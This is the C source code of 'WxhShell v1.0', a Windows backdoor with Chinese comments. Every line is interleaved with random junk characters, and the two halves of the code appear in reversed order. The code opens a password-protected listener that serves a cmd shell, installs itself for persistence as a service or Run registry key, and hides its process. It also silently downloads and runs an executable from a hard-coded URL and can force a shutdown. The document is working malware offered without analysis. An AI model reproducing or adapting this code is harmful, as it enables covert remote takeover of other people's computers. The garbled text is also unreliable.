    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |)_-Bi;MW`  
    else { :u%$0p>  
    closesocket(wsh); >CgO<\  
    ExitThread(0); \|Dei);k  
    } 2H?d+6Pt3  
    break; %c^ m\ E  
    } yZ}d+7T}  
  // 获取shell +~2rW8  
  case 's': { Hlj6$%.  
    CmdShell(wsh); qX>Q+_^  
    closesocket(wsh); #WE]`zd  
    ExitThread(0); (*l2('e#@  
    break; EY>8O+  
  } `{FwTZ=6{  
  // 退出 INMP"1  
  case 'x': { ,=[*Lo>O  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); $R{8z-,Q  
    CloseIt(wsh); g8pm2o@S  
    break; L*]E`Xxd9  
    } dGgP_ S  
  // 离开 F}ukZ DB  
  case 'q': { HW7FP]NH  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); :Eh'(   
    closesocket(wsh); F'J [y"~_  
    WSACleanup(); 'zgvQMu  
    exit(1); 't>r sp+#  
    break; K}I0o!(#  
        } ipKG!  
  } ]"x\=A  
  } 9]_GNk-D  
|#5 e|z5(  
  // 提示信息 ;MTz]c  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); I>w^2 (y  
} 9Yw]Y5l  
  } >mIg@knE  
DacJ,in_I{  
  return; )@:l^$x  
} ehO:')XF  
zsTbdF  
// shell模块句柄 VfSGCe  
int CmdShell(SOCKET sock) lQt% Qx  
{ vrrt@y  
STARTUPINFO si; ^GXEJU 7U  
ZeroMemory(&si,sizeof(si)); Di??Q_$ak  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; f?0s &Xo  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; k7bl'zic  
PROCESS_INFORMATION ProcessInfo; .`LgYW  
char cmdline[]="cmd"; @oH[SWx  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); {tzxA_  
  return 0; 8@7AE"  
} q9}2  
shi Hy*(v  
// 自身启动模式 dl/X."iv!  
int StartFromService(void) N <pbO#e  
{ k0&lu B%  
typedef struct l`rC0kJ]  
{ dm^H5D/A  
  DWORD ExitStatus; U'3Fou}  
  DWORD PebBaseAddress; +0#JnqH"  
  DWORD AffinityMask; Hql5oA  
  DWORD BasePriority; `facFt[\  
  ULONG UniqueProcessId; {fG|_+tl3o  
  ULONG InheritedFromUniqueProcessId; cCng5Nq,c  
}   PROCESS_BASIC_INFORMATION; ?6:cNdN  
Fd !iQ  
PROCNTQSIP NtQueryInformationProcess; >rRf9wO1l  
H%.zXQ4}n  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; |[w^eg  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ^HFo3V }h  
iK x+6v  
  HANDLE             hProcess; DPPS?~Pq  
  PROCESS_BASIC_INFORMATION pbi; ( Yi=v'd  
^]rxhpS  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); u_'nOle K  
  if(NULL == hInst ) return 0; G\mKCaI8  
 <qn,  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); H'Iq~Ft1  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); :_c*m@=z(  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 0!IPcZjY7  
|a(Q4 e/,  
  if (!NtQueryInformationProcess) return 0; ]GS ~i+=M  
Es:6  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); z_(eQP])  
  if(!hProcess) return 0; !"(u_dFw  
8?Wgawx  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; |4xo4%BQ>  
4hNwKe"Ki  
  CloseHandle(hProcess); P7>IZ >bw  
|LFUzq>j  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); H0tF  
if(hProcess==NULL) return 0; 8m7eaZ  
/Su)|[/'  
HMODULE hMod; e-!?[Ujv*%  
char procName[255]; "w^Nu6  
unsigned long cbNeeded; & >b+loF  
_sm;HH7'*  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); xK!DtRzsA  
C "9"{  
  CloseHandle(hProcess); Mryn>b`cB  
fv5C!> t  
if(strstr(procName,"services")) return 1; // 以服务启动 T:n< db,Px  
WJcVQM s  
  return 0; // 注册表启动 4@~a<P#  
} afy/K'~  
SEU\}Ni{  
// 主模块 K!7q!%Ju  
int StartWxhshell(LPSTR lpCmdLine) O"QHb|j  
{ SauHFl8?  
  SOCKET wsl; zkG>u,B}  
BOOL val=TRUE; 3*2I$e!Jt  
  int port=0; GRQ_+K  
  struct sockaddr_in door; n>T:2PQ3  
[edH%S}\  
  if(wscfg.ws_autoins) Install(); D@5s8xv  
M4H"].Zm  
port=atoi(lpCmdLine); i?W]*V~ply  
Ut':$l=  
if(port<=0) port=wscfg.ws_port; ~%KM3Vap  
9RB`$5F ;  
  WSADATA data; ?+Hp?i$1  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; kXCY))vnn  
)DRkS,I  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   O$(c. (_$  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); #'c%  
  door.sin_family = AF_INET; v<+4BjV!J}  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); QD}1?)}  
  door.sin_port = htons(port); $*i7?S@~-  
pzAoq)gg:  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { !(yT7#?hP  
closesocket(wsl); ;fkSrdj  
return 1; 9IOGc}  
} /o\U/I  
}"0{zrz  
  if(listen(wsl,2) == INVALID_SOCKET) { 7 {nl..`  
closesocket(wsl); 2J&XNV^tJ  
return 1; C;%Y\S  
} v#Sj|47  
  Wxhshell(wsl); 'Y ,1OK  
  WSACleanup(); fIH#  
5<^'Cy  
return 0; \{:%v#ZZ  
1ThwvF%Qo  
} >KKeV(Ur  
)]tvwEo  
// 以NT服务方式启动 8T<@ @6`T  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) >6k}HrS1V  
{ "'~|}x1Uv  
DWORD   status = 0; quY "  
  DWORD   specificError = 0xfffffff; n{L:MT9TD  
lD-V9   
  serviceStatus.dwServiceType     = SERVICE_WIN32;  2aFT<T0  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ;Na^]32  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; >eRZ+|k?N  
  serviceStatus.dwWin32ExitCode     = 0; RP(a,D|  
  serviceStatus.dwServiceSpecificExitCode = 0; CJm.K  
  serviceStatus.dwCheckPoint       = 0; prwC>LE  
  serviceStatus.dwWaitHint       = 0; P3i^S_  
"* +\KPCU  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 8,_ -0_^$  
  if (hServiceStatusHandle==0) return; y&y/cML?  
=MCNCV/<  
status = GetLastError(); T!1SMo^  
  if (status!=NO_ERROR) UKOFT6|  
{ qP&byEs"  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 5St`@  
    serviceStatus.dwCheckPoint       = 0; i,([YsRuou  
    serviceStatus.dwWaitHint       = 0; eQ$e*|}"m  
    serviceStatus.dwWin32ExitCode     = status; {:,_A  
    serviceStatus.dwServiceSpecificExitCode = specificError; & &6*ez  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); luibB&p1  
    return; l 4!kxXf-<  
  } [7'#~[a~  
@81-kdTx  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; AvyQ4xim+  
  serviceStatus.dwCheckPoint       = 0; 6$;L]<$W>  
  serviceStatus.dwWaitHint       = 0; (*MNox?w  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); B>sCP"/uV  
} 8W;xi:CC  
sr;:Dvx~  
// 处理NT服务事件,比如:启动、停止 Y~:}l9Qs  
VOID WINAPI NTServiceHandler(DWORD fdwControl) B;SzuCW  
{ 9LH=3Qt  
switch(fdwControl) hHCzj*5  
{ <D~6v2$  
case SERVICE_CONTROL_STOP: 8~.iuFp  
  serviceStatus.dwWin32ExitCode = 0; ';&0~[R[  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Q! Kn|mnN  
  serviceStatus.dwCheckPoint   = 0; kkT3 wP  
  serviceStatus.dwWaitHint     = 0; /8=:qIJYA  
  { m5)EQE}gPp  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); xLe =d|6  
  } B*y;>q "{U  
  return; h (qshbC}  
case SERVICE_CONTROL_PAUSE: 0{-`Th+h  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; #fwzFS \XL  
  break; `'kc|!%MUq  
case SERVICE_CONTROL_CONTINUE: mm_^gQ,`  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; xIM8  
  break; kxygf9I!;  
case SERVICE_CONTROL_INTERROGATE: qx Wgt(Os  
  break; IY V-*/ |  
}; $4DFgvy$  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Vu_&~z7h  
} Z "-ntx#  
"|F. 'qZrm  
// 标准应用程序主函数 xy$vYDAFw  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ]}p2Tp;1  
{ RV( w%g  
Tku /OG'  
// 获取操作系统版本 1po"gVot  
OsIsNt=GetOsVer(); ,c@r` x  
GetModuleFileName(NULL,ExeFile,MAX_PATH); cT_uJbP+  
TP~( r  
  // 从命令行安装 Hr /W6C  
  if(strpbrk(lpCmdLine,"iI")) Install(); 1a5?)D  
{An8/"bv}  
  // 下载执行文件 lr`?yn1D(  
if(wscfg.ws_downexe) { r4 9UJE  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 'uPxEu4 >4  
  WinExec(wscfg.ws_filenam,SW_HIDE); Sc%aJ1  
} /z/hUa  
|.y>[+Qb*  
if(!OsIsNt) { L& I` #  
// 如果时win9x,隐藏进程并且设置为注册表启动 b;Hm\aK  
HideProc(); :/>7$)+  
StartWxhshell(lpCmdLine); >BJ2v=R A  
} 3?.6K0L  
else }Vs~RJM)}  
  if(StartFromService()) \k|_&hG  
  // 以服务方式启动 xR0~S 3caI  
  StartServiceCtrlDispatcher(DispatchTable); _2]e1_=  
else F<h&3  
  // 普通方式启动 $eK8GMxZ#  
  StartWxhshell(lpCmdLine); 6].yRNy"  
<+<)xwOQ ]  
return 0; lO551Y^  
} T {hyt  
PZKbnu  
& 6`  
PXOrOK  
=========================================== \#uqD\DE  
+F1]M2p]  
CbnR<W-j  
5JQd)[Im  
Sja"(sJ  
C HQ {+?#  
" :jZ*,d%1={  
X4Pm)N `  
#include <stdio.h> C*"Rd   
#include <string.h> +i:  E  
#include <windows.h> gUks O!7^1  
#include <winsock2.h> Rg%R/p)C  
#include <winsvc.h> hp?ad  
#include <urlmon.h> &i4 (s%z#  
 rE/}hHU  
#pragma comment (lib, "Ws2_32.lib") =@bXGMsV!  
#pragma comment (lib, "urlmon.lib") Q{%HW4lg  
Q.j-C}a  
#define MAX_USER   100 // 最大客户端连接数 vN{vJlpY  
#define BUF_SOCK   200 // sock buffer ] +}:VaeA  
#define KEY_BUFF   255 // 输入 buffer VFe-#"0ZO  
d[~au=b  
#define REBOOT     0   // 重启 ^JYF1   
#define SHUTDOWN   1   // 关机 #n U@hOfg  
Wwn5LlJ^  
#define DEF_PORT   5000 // 监听端口 0z#l0-NdQ  
k$9Gn9L%  
#define REG_LEN     16   // 注册表键长度 2N6Pa(6  
#define SVC_LEN     80   // NT服务名长度 [{6&.v  
vG'vgUo  
// 从dll定义API &M!4]p ow  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); )OARO  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); -=-x>(pRW7  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Jm{As*W>  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); I T*fjUY&  
N&R '$w  
// wxhshell配置信息 U92B+up-  
struct WSCFG { f9h:"Dnzin  
  int ws_port;         // 监听端口 OGSEvfW  
  char ws_passstr[REG_LEN]; // 口令 UMHuIA:%U  
  int ws_autoins;       // 安装标记, 1=yes 0=no m _t(rn~f6  
  char ws_regname[REG_LEN]; // 注册表键名 |_Naun=+~  
  char ws_svcname[REG_LEN]; // 服务名 9b{g+lMZo  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 "2y7&#l   
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 }e&KO?x+  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ANA2S*r  
int ws_downexe;       // 下载执行标记, 1=yes 0=no J8qu]{0I"  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" >m)2ox_B  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Y-}hNZn"{  
htdn$kqG   
}; ~NNaLl  
ZaEBdBv  
// default Wxhshell configuration 9m<X-B&P  
struct WSCFG wscfg={DEF_PORT, Z'*G'/*  
    "xuhuanlingzhe", M]8eW  
    1, |-SI(Khjk  
    "Wxhshell", jzu l{'g  
    "Wxhshell", z1}tC\9'%  
            "WxhShell Service", fzGZ:L  
    "Wrsky Windows CmdShell Service", !5g)3St  
    "Please Input Your Password: ", 4wM$5  
  1, sT;=7 L<TA  
  "http://www.wrsky.com/wxhshell.exe", D{&+7C:8.  
  "Wxhshell.exe" L!G9O]WB  
    }; ^>P@5gcoE(  
3rXL0&3w%  
// 消息定义模块 2vk8+LA(6  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";  d'**wh,  
char *msg_ws_prompt="\n\r? for help\n\r#>"; h0y\,iWXb  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; S`'uUvAA  
char *msg_ws_ext="\n\rExit."; Ggxrj'r  
char *msg_ws_end="\n\rQuit."; %8z+R m,Ot  
char *msg_ws_boot="\n\rReboot..."; 37ri b  
char *msg_ws_poff="\n\rShutdown..."; 8V53+]c$Y  
char *msg_ws_down="\n\rSave to "; skmDsZzw  
@; j0c_^"!  
char *msg_ws_err="\n\rErr!"; zm_hLk  
char *msg_ws_ok="\n\rOK!"; g,z&{pZch  
gZ79u  
char ExeFile[MAX_PATH]; ~gzpX,{ n  
int nUser = 0; hj#+8=  
HANDLE handles[MAX_USER]; H)?" 8 s  
int OsIsNt; ]0/~6f  
+Qb2LR  
SERVICE_STATUS       serviceStatus; ]UpHD.Of[t  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 4n.i<K8K[  
lHj7O &+  
// 函数声明 9X^-)G>  
int Install(void); J^<j=a|D  
int Uninstall(void); |)>GeE  
int DownloadFile(char *sURL, SOCKET wsh); ><Mbea=U+  
int Boot(int flag); q4IjCu+  
void HideProc(void); ND99 g  
int GetOsVer(void); Y GcY2p<  
int Wxhshell(SOCKET wsl); !513rNO  
void TalkWithClient(void *cs); Wpg?%+Y  
int CmdShell(SOCKET sock); Z?G 3d(YT  
int StartFromService(void); 01SFOPuR%(  
int StartWxhshell(LPSTR lpCmdLine); ;j Y'z5PH5  
wtgO;w  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); \`<s@U  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Zj /H3,7  
y(p:)Iv  
// 数据结构和表定义 "b+3 &i|  
SERVICE_TABLE_ENTRY DispatchTable[] = ud~VQXZo  
{ BYA=M*f  
{wscfg.ws_svcname, NTServiceMain}, ;R- z3C  
{NULL, NULL} A~~| X  
}; brhJ&|QDE  
HWao3Lz  
// 自我安装 5kL#V  
int Install(void) `A}{ I}xq  
{ eJwii  
  char svExeFile[MAX_PATH]; :XZJxgx  
  HKEY key; KG./<"c  
  strcpy(svExeFile,ExeFile); fb S.  
Q:xI} ]FM  
// 如果是win9x系统,修改注册表设为自启动 HN&vk/[  
if(!OsIsNt) { X|QX1dl  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { w|U@jr*H]  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); TJGKQyG$L  
  RegCloseKey(key); -iZjs  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { J~ gkGso  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); |GLn 9vw7S  
  RegCloseKey(key); eB1eUK>  
  return 0; HpgN$$\@  
    } !C)>  
  } Yhv`IV-s  
} rq|czQ  
else { TY{?4  
t+Tg@~K2[>  
// 如果是NT以上系统,安装为系统服务 (^OC%pc  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 6T'43h. :  
if (schSCManager!=0) 3By>t!~Q  
{ "9Fv!*<-W  
  SC_HANDLE schService = CreateService @0x.n\M_  
  ( E4fvYV_ra  
  schSCManager, vXWESy  
  wscfg.ws_svcname, Dqo:X`<bT  
  wscfg.ws_svcdisp, qi5>GX^t]b  
  SERVICE_ALL_ACCESS, S g_?.XZc[  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,  ^O\1v  
  SERVICE_AUTO_START, w}KcLaI  
  SERVICE_ERROR_NORMAL, z%-"' Y]  
  svExeFile, :r|P?;t(  
  NULL, p`V9+CA  
  NULL, j?` D\LZhf  
  NULL, ?9.?w-Q'  
  NULL, @X / =.  
  NULL :$@zX]?M  
  ); '2B0D|r"a  
  if (schService!=0)  x+j/v5  
  { @RG3*3(  
  CloseServiceHandle(schService); ri.|EmH2:D  
  CloseServiceHandle(schSCManager); KHC(MdZ  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); KQy\l+\gM  
  strcat(svExeFile,wscfg.ws_svcname); :.o0<  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { # T#FUI1p  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); hD~/6bx  
  RegCloseKey(key); hCx#Heh  
  return 0; ViC76aJ  
    } (TK cSVR  
  } G37L 9IG-M  
  CloseServiceHandle(schSCManager); ^rZ+H@p:6  
} J'&? =|  
} )pj \b[  
X=RmCc$:  
return 1; 78}%{7YY  
} =:T:9Y_i  
W2V@\  
// 自我卸载 ,DsT:8  
int Uninstall(void) y"n~ET}e7  
{ $7ME a"a  
  HKEY key; %-zH]"Q$  
ZX RN?b  
if(!OsIsNt) { S%%qn  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Vf2! 0  
  RegDeleteValue(key,wscfg.ws_regname); wZolg~dg  
  RegCloseKey(key); FP cvkXQD  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { u(Q(UuI  
  RegDeleteValue(key,wscfg.ws_regname); @o.i2iG  
  RegCloseKey(key); .oOt(K +  
  return 0; }LVE^6zyk  
  } WxI]Fcb<  
} I Q`aDo-V  
} mTu9'/$(  
else { 5 BG&r*U  
CKK5+  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); W;*vcbP  
if (schSCManager!=0) '<j p.sZQ  
{ ? 9M+fi  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); B,qZwc|  
  if (schService!=0) 2QD B'xs3  
  { W5yu`Br  
  if(DeleteService(schService)!=0) { MjosA R  
  CloseServiceHandle(schService); :)S4MoG  
  CloseServiceHandle(schSCManager); z^a?t<+  
  return 0; r]vBr^kq  
  }  Z~:lfCK`  
  CloseServiceHandle(schService); lP &%5y;  
  } Hw3 ES  
  CloseServiceHandle(schSCManager); .jU0Hu{F4  
} \YyU5f7';  
} 3om7LqcRo  
biuo.OG]  
return 1; RB@gSHOc?  
} @k;3$  
ijSYQ  
// 从指定url下载文件 Vc<n6  
int DownloadFile(char *sURL, SOCKET wsh) T"lqPbK  
{ lY,1 w  
  HRESULT hr; ~DS9{Y  
char seps[]= "/"; /9gMcn9EB  
char *token; JVCgYY({KQ  
char *file; %zVv3p:  
char myURL[MAX_PATH]; ~d8o,.n`1  
char myFILE[MAX_PATH]; |/ 7's'  
BAed [  
strcpy(myURL,sURL); `{[C4]Ew/  
  token=strtok(myURL,seps); >sY+Y22U  
  while(token!=NULL) 5.;$9~d  
  { ]zAg6*-/B  
    file=token; p#NZ\qJ  
  token=strtok(NULL,seps); ZSf+5{2m  
  } *38\&"s4_  
/v<8x?=  
GetCurrentDirectory(MAX_PATH,myFILE); 2,`mNjHh  
strcat(myFILE, "\\"); ;hp; Rd  
strcat(myFILE, file); 'KrkC A  
  send(wsh,myFILE,strlen(myFILE),0); cM Kh+r  
send(wsh,"...",3,0); 5Uz(Bi  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Qc/J"<Lx  
  if(hr==S_OK) +#9 (T  
return 0; LLN^^>5|l  
else <o`]wOrl  
return 1; N_}Im>;!  
!I$RE?7eY  
} ~|]\. ^B  
w N.Jyb  
// 系统电源模块 Ee| y[y,  
int Boot(int flag) xrd ^vE  
{ 9&jNdB  
  HANDLE hToken; 3mpjSL  
  TOKEN_PRIVILEGES tkp; _3JTHf<+  
CKx}.<_  
  if(OsIsNt) { 6 d6SP)|j  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); M6n.uho/  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); I#%-A  
    tkp.PrivilegeCount = 1; I<f M8t.Y>  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; &Kwt vUN{  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); XS@6jbLE  
if(flag==REBOOT) { A}O9e  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) +[qy HTcG  
  return 0; SJe;T  
} Nzt1JHRS  
else { SesO$=y  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) J>&GP#7}  
  return 0; 4(](' [M  
} HX^ P9jXT  
  } 1k(*o.6  
  else { <ZEll[0L  
if(flag==REBOOT) { M3;B]iRQD  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) OW^7aw(N6  
  return 0; &-tf/qJ  
} s4*,ocyBP  
else { ^\;5O(9  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) UNHHzTsr?  
  return 0; P@ u%{  
} NmXTk+,L#  
} oyY,uB.|  
cgAcAcmY  
return 1;  }P#gXG  
} DO; 2)ZQ%  
L"0L_G  
// win9x进程隐藏模块 Fh;(1X75I  
void HideProc(void) :}-[%LSV  
{ nz+KA\iW  
S{06bLXU"  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll");  73X]|fy  
  if ( hKernel != NULL ) 4B 6Aw?  
  { .Dz /MSl  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 8X5XwFf}  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); #(G&%I A|;  
    FreeLibrary(hKernel); Ek6W:Q:@  
  } 8 B5%IgA  
J!>oC_0]8  
return; !h~\YE)  
} {,ljIhc,  
XhiC'.B_  
// 获取操作系统版本 kzT'  
int GetOsVer(void) * G4;  
{ 0v?,:]A0E  
  OSVERSIONINFO winfo; ,v+SD\7|  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); gf@Dy6<  
  GetVersionEx(&winfo); {cFei3'q  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) dLq!t@?iu>  
  return 1; -1:asM7  
  else W\ckt]'  
  return 0; /r6DPR0\  
} J^T66}r[f,  
ub&1L_K  
// 客户端句柄模块 L $~Id  
int Wxhshell(SOCKET wsl) lHU$A;  
{ YDwns  
  SOCKET wsh; +gkB  
  struct sockaddr_in client; g`1i[Iu2  
  DWORD myID; N C& 1l]  
4$rO,W/&0  
  while(nUser<MAX_USER) =/;(qy9.-R  
{ Q\Eq(2p  
  int nSize=sizeof(client); @{G(.S  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); l;ugrAo?  
  if(wsh==INVALID_SOCKET) return 1; !ibp/:x  
J.*=7zmw  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); w~`P\i@  
if(handles[nUser]==0) x0] *'^aA  
  closesocket(wsh); *MNY1+RJ  
else C*$/J\6xy  
  nUser++; >4c 1VEi  
  } 4^r}&9C ~  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ME.LS2'n  
}z[se)s  
  return 0; Ic*Q(X  
} u|C9[(  
f]EHDcC3X  
// 关闭 socket sQkP@Y  
void CloseIt(SOCKET wsh) !Kis,e  
{ NNT9\JRv_  
closesocket(wsh); C^a~)r.h  
nUser--; MB)xL-jO  
ExitThread(0); 2WoB;=  
} '"&?u8u)  
A8?>V%b[Y  
// 客户端请求句柄 Z-:`{dns/  
void TalkWithClient(void *cs) F {[Q  
{ 8[k-8h|  
Gs%kqD{=  
  SOCKET wsh=(SOCKET)cs; iR9iI!+;N  
  char pwd[SVC_LEN]; B0:O]Ax6.^  
  char cmd[KEY_BUFF]; q/Q*1  
char chr[1]; e :#\Oh  
int i,j; @RjLDj+)S  
v{9eEk1  
  while (nUser < MAX_USER) { })":F  
c09uCito  
if(wscfg.ws_passstr) { `7LdF,OdE  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); C-(&zwj?!  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); b(yY.L=K  
  //ZeroMemory(pwd,KEY_BUFF); 8yd OS  
      i=0; /N $T[  
  while(i<SVC_LEN) { rO C~U85  
~[C m#c  
  // 设置超时 ^^v!..V]J  
  fd_set FdRead; .hvIq .vr  
  struct timeval TimeOut; >7n(* M  
  FD_ZERO(&FdRead); vXc<#X9  
  FD_SET(wsh,&FdRead); /q=<OEC  
  TimeOut.tv_sec=8; ^71sIf;+  
  TimeOut.tv_usec=0; qU"+0t4  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); d-Sm<XHu.  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); j8lbn|.  
js{ RaR=  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ]!/1qF  
  pwd=chr[0]; (qaY,>je]D  
  if(chr[0]==0xd || chr[0]==0xa) { fE(rDQI  
  pwd=0; ,QK>e;:Be  
  break; q|~9%Pujg  
  } EprgLZ1B  
  i++; $+tkBM  
    } rIXAn4,dTv  
@=$;^}JS|  
  // 如果是非法用户,关闭 socket VL\6U05Z  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); | 2mEowAd  
} 7&X^y+bMe6  
9N9;EY-U  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); =KX:&GU  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); NK#f Gz*,(  
k?_Miqr  
while(1) { hE>Mo$Q(  
|[*b[O 1W  
  ZeroMemory(cmd,KEY_BUFF); B$fL);l-  
1e }wDMU(  
      // 自动支持客户端 telnet标准   V< J~:b1V  
  j=0; wL:3RZB  
  while(j<KEY_BUFF) { P? >p+dM  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Ef#%4ky  
  cmd[j]=chr[0]; C\1Dy5  
  if(chr[0]==0xa || chr[0]==0xd) { =!Ok079{[  
  cmd[j]=0; U5" C"+ 3  
  break; / JlUqC  
  } I(C_}I>Wb  
  j++; LNe- ]3wB  
    } !dZC-U~  
d8av`m  
  // 下载文件 z7NaW e  
  if(strstr(cmd,"http://")) { P! :D2zSH_  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); =>4,/g3  
  if(DownloadFile(cmd,wsh)) 'peFT[1> (  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Yk:\oM   
  else 4\t9(_  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); daaurT  
  } *vht</?J  
  else { qPWYY  
#\fAp RL  
    switch(cmd[0]) { iMF:~H-Yq#  
  |Kb-oM&^#  
